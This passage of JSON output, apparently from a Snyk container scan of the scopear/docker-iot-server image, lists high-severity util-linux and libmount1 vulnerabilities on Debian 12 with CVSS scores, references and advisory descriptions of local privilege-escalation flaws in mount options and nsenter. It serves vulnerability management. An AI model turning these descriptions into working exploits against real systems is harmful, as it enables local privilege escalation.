"cvssScore": 7,
"malicious": false,
"isDisputed": false,
"references": [
{
"url": "https://security-tracker.debian.org/tracker/CVE-2026-78409",
"title": "https://security-tracker.debian.org/tracker/CVE-2026-78409"
},
{
"url": "https://access.redhat.com/security/cve/CVE-2026-78409",
"title": "https://access.redhat.com/security/cve/CVE-2026-78409"
},
{
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2522607",
"title": "https://bugzilla.redhat.com/show_bug.cgi?id=2522607"
},
{
"url": "https://access.redhat.com/errata/RHSA-2026:63162",
"title": "https://access.redhat.com/errata/RHSA-2026:63162"
},
{
"url": "https://github.com/util-linux/util-linux/security/advisories/GHSA-8f2p-47x3-43mv",
"title": "https://github.com/util-linux/util-linux/security/advisories/GHSA-8f2p-47x3-43mv"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
"cvssV3BaseScore": 7,
"modificationTime": "2026-09-02T18:25:41.346229Z"
},
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
"cvssV3BaseScore": 7,
"modificationTime": "2026-09-03T07:55:46.701817Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7,
"cvssVersion": "3.1",
"modificationTime": "2026-09-02T18:25:41.346229Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7,
"cvssVersion": "3.1",
"modificationTime": "2026-09-03T07:55:46.701817Z"
}
],
"description": "## NVD Description\n**_Note:_** _Versions mentioned in the description apply only to the upstream `util-linux` package and not the `util-linux` package as distributed by `Debian`._\n_See `How to fix?` for `Debian:12` relevant fixed versions and status._\n\nThe X-mount.subdir option uses a detached-tree fast path on Linux 6.15 and later and passes the configured subdirectory to open_tree() with AT_SYMLINK_NOFOLLOW. That flag does not stop intermediate symlink traversal or keep resolution inside the newly mounted filesystem. A local unprivileged user with an fstab-authorized X-mount.subdir entry can attach a host path at the intended mountpoint.\n## Remediation\nThere is no fixed version for `Debian:12` `util-linux`.\n## References\n- [https://security-tracker.debian.org/tracker/CVE-2026-78409](https://security-tracker.debian.org/tracker/CVE-2026-78409)\n- [https://access.redhat.com/security/cve/CVE-2026-78409](https://access.redhat.com/security/cve/CVE-2026-78409)\n- [https://bugzilla.redhat.com/show_bug.cgi?id=2522607](https://bugzilla.redhat.com/show_bug.cgi?id=2522607)\n- [https://access.redhat.com/errata/RHSA-2026:63162](https://access.redhat.com/errata/RHSA-2026:63162)\n- [https://github.com/util-linux/util-linux/security/advisories/GHSA-8f2p-47x3-43mv](https://github.com/util-linux/util-linux/security/advisories/GHSA-8f2p-47x3-43mv)\n",
"epssDetails": {
"percentile": "0.03788",
"probability": "0.00154",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-78409"
],
"CWE": [
"CWE-59"
],
"ALTERNATIVE": []
},
"nvdSeverity": "high",
"packageName": "util-linux",
"creationTime": "2026-09-03T15:52:29.071961Z",
"disclosureTime": "2026-09-02T16:17:23.833000Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "debian:12",
"publicationTime": "2026-09-03T15:52:29.074465Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-24T14:20:04.159247Z",
"socialTrendAlert": false,
"relativeImportance": "not yet assigned",
"severityWithCritical": "high",
"from": [
"docker-image|docker.io/scopear/docker-iot-server@1.3.1_0fbd998.179",
"util-linux@2.38.1-5+deb12u3",
"util-linux/libmount1@2.38.1-5+deb12u3"
],
"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"name": "util-linux/libmount1",
"version": "2.38.1-5+deb12u3"
},
{
"id": "SNYK-DEBIAN12-UTILLINUX-19513290",
"cpes": [],
"title": "Time-of-check Time-of-use (TOCTOU)",
"CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"credit": [
""
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "linux",
"severity": "high",
"cvssScore": 7.8,
"malicious": false,
"isDisputed": false,
"references": [
{
"url": "https://security-tracker.debian.org/tracker/CVE-2026-78410",
"title": "https://security-tracker.debian.org/tracker/CVE-2026-78410"
},
{
"url": "https://access.redhat.com/security/cve/CVE-2026-78410",
"title": "https://access.redhat.com/security/cve/CVE-2026-78410"
},
{
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2522684",
"title": "https://bugzilla.redhat.com/show_bug.cgi?id=2522684"
},
{
"url": "https://access.redhat.com/errata/RHSA-2026:63162",
"title": "https://access.redhat.com/errata/RHSA-2026:63162"
},
{
"url": "https://github.com/util-linux/util-linux/security/advisories/GHSA-rh77-686x-2f2m",
"title": "https://github.com/util-linux/util-linux/security/advisories/GHSA-rh77-686x-2f2m"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"cvssV3BaseScore": 7.8,
"modificationTime": "2026-09-02T18:25:41.718430Z"
},
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"cvssV3BaseScore": 7.8,
"modificationTime": "2026-09-03T07:55:46.643606Z"
},
{
"assigner": "SUSE",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"cvssV3BaseScore": 7.8,
"modificationTime": "2026-09-28T11:03:20.409615Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.8,
"cvssVersion": "3.1",
"modificationTime": "2026-09-02T18:25:41.718430Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.8,
"cvssVersion": "3.1",
"modificationTime": "2026-09-03T07:55:46.643606Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"assigner": "SUSE",
"severity": "high",
"baseScore": 7.8,
"cvssVersion": "3.1",
"modificationTime": "2026-09-28T11:03:20.409615Z"
}
],
"description": "## NVD Description\n**_Note:_** _Versions mentioned in the description apply only to the upstream `util-linux` package and not the `util-linux` package as distributed by `Debian`._\n_See `How to fix?` for `Debian:12` relevant fixed versions and status._\n\nA flaw was found in util-linux. Restricted bind mounts take the source path from fstab but do not pin that source before the privileged mount. A local unprivileged user who can replace the authorized source or a writable ancestor can redirect SUID mount(8) to bind another host directory. If the fstab entry also sets X-mount.owner, X-mount.group, or X-mount.mode, root then changes ownership or mode on that redirected inode.\n## Remediation\nThere is no fixed version for `Debian:12` `util-linux`.\n## References\n- [https://security-tracker.debian.org/tracker/CVE-2026-78410](https://security-tracker.debian.org/tracker/CVE-2026-78410)\n- [https://access.redhat.com/security/cve/CVE-2026-78410](https://access.redhat.com/security/cve/CVE-2026-78410)\n- [https://bugzilla.redhat.com/show_bug.cgi?id=2522684](https://bugzilla.redhat.com/show_bug.cgi?id=2522684)\n- [https://access.redhat.com/errata/RHSA-2026:63162](https://access.redhat.com/errata/RHSA-2026:63162)\n- [https://github.com/util-linux/util-linux/security/advisories/GHSA-rh77-686x-2f2m](https://github.com/util-linux/util-linux/security/advisories/GHSA-rh77-686x-2f2m)\n",
"epssDetails": {
"percentile": "0.04035",
"probability": "0.00156",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-78410"
],
"CWE": [
"CWE-367"
],
"ALTERNATIVE": []
},
"nvdSeverity": "high",
"packageName": "util-linux",
"creationTime": "2026-09-03T15:53:31.733841Z",
"disclosureTime": "2026-09-02T16:17:23.983000Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "debian:12",
"publicationTime": "2026-09-03T15:53:31.735935Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-28T11:03:20.877082Z",
"socialTrendAlert": false,
"relativeImportance": "not yet assigned",
"severityWithCritical": "high",
"from": [
"docker-image|docker.io/scopear/docker-iot-server@1.3.1_0fbd998.179",
"util-linux@2.38.1-5+deb12u3",
"util-linux/libmount1@2.38.1-5+deb12u3"
],
"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"name": "util-linux/libmount1",
"version": "2.38.1-5+deb12u3"
},
{
"id": "SNYK-DEBIAN12-UTILLINUX-19513270",
"cpes": [],
"title": "Detection of Error Condition Without Action",
"CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"credit": [
""
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "linux",
"severity": "high",
"cvssScore": 7.8,
"malicious": false,
"isDisputed": false,
"references": [
{
"url": "https://security-tracker.debian.org/tracker/CVE-2026-76642",
"title": "https://security-tracker.debian.org/tracker/CVE-2026-76642"
},
{
"url": "https://github.com/util-linux/util-linux",
"title": "https://github.com/util-linux/util-linux"
},
{
"url": "https://github.com/util-linux/util-linux/blob/v2.42.2/libmount/src/context_mount.c%23L476",
"title": "https://github.com/util-linux/util-linux/blob/v2.42.2/libmount/src/context_mount.c%23L476"
},
{
"url": "https://github.com/util-linux/util-linux/blob/v2.42.2/libmount/src/context_mount.c%23L892",
"title": "https://github.com/util-linux/util-linux/blob/v2.42.2/libmount/src/context_mount.c%23L892"
},
{
"url": "https://github.com/util-linux/util-linux/commit/1d14676ea70003e9f5b2a6a76af0cadb1190411a",
"title": "https://github.com/util-linux/util-linux/commit/1d14676ea70003e9f5b2a6a76af0cadb1190411a"
},
{
"url": "https://github.com/util-linux/util-linux/commit/a15c00a9e545aa8b9cf6ec0f888ff6c7b3eaeedc",
"title": "https://github.com/util-linux/util-linux/commit/a15c00a9e545aa8b9cf6ec0f888ff6c7b3eaeedc"
},
{
"url": "https://github.com/util-linux/util-linux/commit/f57cea130839c0af8dc0525274267ae4cfd66bbf",
"title": "https://github.com/util-linux/util-linux/commit/f57cea130839c0af8dc0525274267ae4cfd66bbf"
},
{
"url": "https://www.vulncheck.com/advisories/util-linux-libmount-privilege-escalation-via-failed-mount-helper",
"title": "https://www.vulncheck.com/advisories/util-linux-libmount-privilege-escalation-via-failed-mount-helper"
},
{
"url": "https://github.com/util-linux/util-linux/security/advisories/GHSA-m25x-3hj9-m26f",
"title": "https://github.com/util-linux/util-linux/security/advisories/GHSA-m25x-3hj9-m26f"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"cvssV3BaseScore": 7.8,
"modificationTime": "2026-09-04T01:29:18.083087Z"
},
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"cvssV3BaseScore": 7.8,
"modificationTime": "2026-09-03T07:55:06.120226Z"
},
{
"assigner": "SUSE",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"cvssV3BaseScore": 7.8,
"modificationTime": "2026-09-28T11:03:10.796717Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.8,
"cvssVersion": "3.1",
"modificationTime": "2026-09-04T01:29:18.083087Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.8,
"cvssVersion": "3.1",
"modificationTime": "2026-09-03T07:55:06.120226Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"assigner": "SUSE",
"severity": "high",
"baseScore": 7.8,
"cvssVersion": "3.1",
"modificationTime": "2026-09-28T11:03:10.796717Z"
}
],
"description": "## NVD Description\n**_Note:_** _Versions mentioned in the description apply only to the upstream `util-linux` package and not the `util-linux` package as distributed by `Debian`._\n_See `How to fix?` for `Debian:12` relevant fixed versions and status._\n\nutil-linux versions through 2.41.5 and 2.42.2 fail to check mount helper exit status before running post-mount hooks, allowing unprivileged users to execute privileged operations on pre-existing filesystems. Attackers can exploit X-mount.idmap or X-mount.owner hooks to clone filesystems with inherited suid bits or modify target inode permissions after a helper fails, achieving privilege escalation.\n## Remediation\nThere is no fixed version for `Debian:12` `util-linux`.\n## References\n- [https://security-tracker.debian.org/tracker/CVE-2026-76642](https://security-tracker.debian.org/tracker/CVE-2026-76642)\n- [https://github.com/util-linux/util-linux](https://github.com/util-linux/util-linux)\n- [https://github.com/util-linux/util-linux/blob/v2.42.2/libmount/src/context_mount.c#L476](https://github.com/util-linux/util-linux/blob/v2.42.2/libmount/src/context_mount.c#L476)\n- [https://github.com/util-linux/util-linux/blob/v2.42.2/libmount/src/context_mount.c#L892](https://github.com/util-linux/util-linux/blob/v2.42.2/libmount/src/context_mount.c#L892)\n- [https://github.com/util-linux/util-linux/commit/1d14676ea70003e9f5b2a6a76af0cadb1190411a](https://github.com/util-linux/util-linux/commit/1d14676ea70003e9f5b2a6a76af0cadb1190411a)\n- [https://github.com/util-linux/util-linux/commit/a15c00a9e545aa8b9cf6ec0f888ff6c7b3eaeedc](https://github.com/util-linux/util-linux/commit/a15c00a9e545aa8b9cf6ec0f888ff6c7b3eaeedc)\n- [https://github.com/util-linux/util-linux/commit/f57cea130839c0af8dc0525274267ae4cfd66bbf](https://github.com/util-linux/util-linux/commit/f57cea130839c0af8dc0525274267ae4cfd66bbf)\n- [https://www.vulncheck.com/advisories/util-linux-libmount-privilege-escalation-via-failed-mount-helper](https://www.vulncheck.com/advisories/util-linux-libmount-privilege-escalation-via-failed-mount-helper)\n- [https://github.com/util-linux/util-linux/security/advisories/GHSA-m25x-3hj9-m26f](https://github.com/util-linux/util-linux/security/advisories/GHSA-m25x-3hj9-m26f)\n",
"epssDetails": {
"percentile": "0.10694",
"probability": "0.00216",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-76642"
],
"CWE": [
"CWE-390"
],
"ALTERNATIVE": []
},
"nvdSeverity": "high",
"packageName": "util-linux",
"creationTime": "2026-09-03T15:50:34.412915Z",
"disclosureTime": "2026-09-03T13:06:08.440000Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "debian:12",
"publicationTime": "2026-09-03T15:50:34.418355Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-28T11:03:11.362496Z",
"socialTrendAlert": false,
"relativeImportance": "not yet assigned",
"severityWithCritical": "high",
"from": [
"docker-image|docker.io/scopear/docker-iot-server@1.3.1_0fbd998.179",
"util-linux/mount@2.38.1-5+deb12u3",
"util-linux/libmount1@2.38.1-5+deb12u3"
],
"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"name": "util-linux/libmount1",
"version": "2.38.1-5+deb12u3"
},
{
"id": "SNYK-DEBIAN12-UTILLINUX-19513278",
"cpes": [],
"title": "Missing Release of File Descriptor or Handle after Effective Lifetime",
"CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:N/I:H/A:H",
"credit": [
""
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "linux",
"severity": "high",
"cvssScore": 7.9,
"malicious": false,
"isDisputed": false,
"references": [
{
"url": "https://security-tracker.debian.org/tracker/CVE-2026-78408",
"title": "https://security-tracker.debian.org/tracker/CVE-2026-78408"
},
{
"url": "https://access.redhat.com/security/cve/CVE-2026-78408",
"title": "https://access.redhat.com/security/cve/CVE-2026-78408"
},
{
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2522497",
"title": "https://bugzilla.redhat.com/show_bug.cgi?id=2522497"
},
{
"url": "https://access.redhat.com/errata/RHSA-2026:63162",
"title": "https://access.redhat.com/errata/RHSA-2026:63162"
},
{
"url": "http://www.openwall.com/lists/oss-security/2026/09/05/2",
"title": "http://www.openwall.com/lists/oss-security/2026/09/05/2"
},
{
"url": "https://github.com/util-linux/util-linux/security/advisories/GHSA-55fx-f4gg-cfhj",
"title": "https://github.com/util-linux/util-linux/security/advisories/GHSA-55fx-f4gg-cfhj"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:N/I:H/A:H",
"cvssV3BaseScore": 7.9,
"modificationTime": "2026-09-02T18:25:42.573221Z"
},
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:N/I:H/A:H",
"cvssV3BaseScore": 7.9,
"modificationTime": "2026-09-03T07:55:50.442401Z"
},
{
"assigner": "SUSE",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:N/I:H/A:H",
"cvssV3BaseScore": 6.6,
"modificationTime": "2026-09-28T11:03:15.966733Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:N/I:H/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.9,
"cvssVersion": "3.1",
"modificationTime": "2026-09-02T18:25:42.573221Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:N/I:H/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.9,
"cvssVersion": "3.1",
"modificationTime": "2026-09-03T07:55:50.442401Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:N/I:H/A:H",
"assigner": "SUSE",
"severity": "medium",
"baseScore": 6.6,
"cvssVersion": "3.1",
"modificationTime": "2026-09-28T11:03:15.966733Z"
}
],
"description": "## NVD Description\n**_Note:_** _Versions mentioned in the description apply only to the upstream `util-linux` package and not the `util-linux` package as distributed by `Debian`._\n_See `How to fix?` for `Debian:12` relevant fixed versions and status._\n\nThe nsenter --join-cgroup option opens the target cgroup.procs file as root and leaves that file descriptor open across later namespace and credential changes and across execve(). Because the kernel checks later cgroup migrations using the credentials from the original open, a program run in an attacker-controlled target can inherit root's ability to move host processes between cgroups. After a privileged operator uses --join-cgroup against that target, an unprivileged user can migrate and terminate unrelated root processes.\n## Remediation\nThere is no fixed version for `Debian:12` `util-linux`.\n## References\n- [https://security-tracker.debian.org/tracker/CVE-2026-78408](https://security-tracker.debian.org/tracker/CVE-2026-78408)\n- [https://access.redhat.com/security/cve/CVE-2026-78408](https://access.redhat.com/security/cve/CVE-2026-78408)\n- [https://bugzilla.redhat.com/show_bug.cgi?id=2522497](https://bugzilla.redhat.com/show_bug.cgi?id=2522497)\n- [https://access.redhat.com/errata/RHSA-2026:63162](https://access.redhat.com/errata/RHSA-2026:63162)\n- [http://www.openwall.com/lists/oss-security/2026/09/05/2](http://www.openwall.com/lists/oss-security/2026/09/05/2)\n- [https://github.com/util-linux/util-linux/security/advisories/GHSA-55fx-f4gg-cfhj](https://github.com/util-linux/util-linux/security/advisories/GHSA-55fx-f4gg-cfhj)\n",
"epssDetails": {
"percentile": "0.07392",
"probability": "0.00186",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-78408"
],
"CWE": [
"CWE-775"
],
"ALTERNATIVE": []
},
"nvdSeverity": "high",
"packageName": "util-linux",
"creationTime": "2026-09-03T15:51:54.147974Z",
"disclosureTime": "2026-09-02T16:17:23.687000Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "debian:12",
"publicationTime": "2026-09-03T15:51:54.149932Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-28T11:03:16.366429Z",
"socialTrendAlert": false,
"relativeImportance": "not yet assigned",
"severityWithCritical": "high",
"from": [
"docker-image|docker.io/scopear/docker-iot-server@1.3.1_0fbd998.179",
"util-linux/mount@2.38.1-5+deb12u3",
"util-linux/libmount1@2.38.1-5+deb12u3"
],
"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"name": "util-linux/libmount1",
"version": "2.38.1-5+deb12u3"
},
{
"id": "SNYK-DEBIAN12-UTILLINUX-19513283",
"cpes": [],
"title": "Link Following",
"CVSSv3": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
"credit": [
""
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "linux",
"severity": "high",
"cvssScore": 7,
"malicious": false,
"isDisputed": false,
"references": [
{
"url": "https://security-tracker.debian.org/tracker/CVE-2026-78409",
"title": "https://security-tracker.debian.org/tracker/CVE-2026-78409"
},
{
"url": "https://access.redhat.com/security/cve/CVE-2026-78409",
"title": "https://access.redhat.com/security/cve/CVE-2026-78409"
},
{
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2522607",
"title": "https://bugzilla.redhat.com/show_bug.cgi?id=2522607"
},
{
"url": "https://access.redhat.com/errata/RHSA-2026:63162",
"title": "https://access.redhat.com/errata/RHSA-2026:63162"
},
{
"url": "https://github.com/util-linux/util-linux/security/advisories/GHSA-8f2p-47x3-43mv",
"title": "https://github.com/util-linux/util-linux/security/advisories/GHSA-8f2p-47x3-43mv"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
"cvssV3BaseScore": 7,
"modificationTime": "2026-09-02T18:25:41.346229Z"
},
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
"cvssV3BaseScore": 7,
"modificationTime": "2026-09-03T07:55:46.701817Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7,
"cvssVersion": "3.1",
"modificationTime": "2026-09-02T18:25:41.346229Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7,
"cvssVersion": "3.1",
"modificationTime": "2026-09-03T07:55:46.701817Z"
}
],
"description": "## NVD Description\n**_Note:_** _Versions mentioned in the description apply only to the upstream `util-linux` package and not the `util-linux` package as distributed by `Debian`._\n_See `How to fix?` for `Debian:12` relevant fixed versions and status._\n\nThe X-mount.subdir option uses a detached-tree fast path on Linux 6.15 and later and passes the configured subdirectory to open_tree() with AT_SYMLINK_NOFOLLOW. That flag does not stop intermediate symlink traversal or keep resolution inside the newly mounted filesystem. A local unprivileged user with an fstab-authorized X-mount.subdir entry can attach a host path at the intended mountpoint.\n## Remediation\nThere is no fixed version for `Debian:12` `util-linux`.\n## References\n- [https://security-tracker.debian.org/tracker/CVE-2026-78409](https://security-tracker.debian.org/tracker/CVE-2026-78409)\n- [https://access.redhat.com/security/cve/CVE-2026-78409](https://access.redhat.com/security/cve/CVE-2026-78409)\n- [https://bugzilla.redhat.com/show_bug.cgi?id=2522607](https://bugzilla.redhat.com/show_bug.cgi?id=2522607)\n- [https://access.redhat.com/errata/RHSA-2026:63162](https://access.redhat.com/errata/RHSA-2026:63162)\n- [https://github.com/util-linux/util-linux/security/advisories/GHSA-8f2p-47x3-43mv](https://github.com/util-linux/util-linux/security/advisories/GHSA-8f2p-47x3-43mv)\n",
"epssDetails": {
"percentile": "0.03788",
"probability": "0.00154",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-78409"
],
"CWE": [
"CWE-59"
],
"ALTERNATIVE": []
},
"nvdSeverity": "high",
"packageName": "util-linux",
"creationTime": "2026-09-03T15:52:29.071961Z",
"disclosureTime": "2026-09-02T16:17:23.833000Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "debian:12",
"publicationTime": "2026-09-03T15:52:29.074465Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-24T14:20:04.159247Z",
"socialTrendAlert": false,
"relativeImportance": "not yet assigned",
"severityWithCritical": "high",
"from": [
"docker-image|docker.io/scopear/docker-iot-server@1.3.1_0fbd998.179",
"util-linux/mount@2.38.1-5+deb12u3",
"util-linux/libmount1@2.38.1-5+deb12u3"
],
"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"name": "util-linux/libmount1",
"version": "2.38.1-5+deb12u3"
},
{
"id": "SNYK-DEBIAN12-UTILLINUX-19513290",
"cpes": [],
"title": "Time-of-check Time-of-use (TOCTOU)",
"CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"credit": [
""
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "linux",
"severity": "high",
"cvssScore": 7.8,
"malicious": false,
"isDisputed": false,
"references": [
{
"url": "https://security-tracker.debian.org/tracker/CVE-2026-78410",
"title": "https://security-tracker.debian.org/tracker/CVE-2026-78410"
},
{
"url": "https://access.redhat.com/security/cve/CVE-2026-78410",
"title": "https://access.redhat.com/security/cve/CVE-2026-78410"
},
{
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2522684",
"title": "https://bugzilla.redhat.com/show_bug.cgi?id=2522684"
},
{
"url": "https://access.redhat.com/errata/RHSA-2026:63162",
"title": "https://access.redhat.com/errata/RHSA-2026:63162"
},
{
"url": "https://github.com/util-linux/util-linux/security/advisories/GHSA-rh77-686x-2f2m",
"title": "https://github.com/util-linux/util-linux/security/advisories/GHSA-rh77-686x-2f2m"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"cvssV3BaseScore": 7.8,
"modificationTime": "2026-09-02T18:25:41.718430Z"
},
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"cvssV3BaseScore": 7.8,
"modificationTime": "2026-09-03T07:55:46.643606Z"
},
{
"assigner": "SUSE",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"cvssV3BaseScore": 7.8,
"modificationTime": "2026-09-28T11:03:20.409615Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.8,
"cvssVersion": "3.1",
"modificationTime": "2026-09-02T18:25:41.718430Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.8,
"cvssVersion": "3.1",
"modificationTime": "2026-09-03T07:55:46.643606Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"assigner": "SUSE",
"severity": "high",
"baseScore": 7.8,
"cvssVersion": "3.1",
"modificationTime": "2026-09-28T11:03:20.409615Z"
}
],
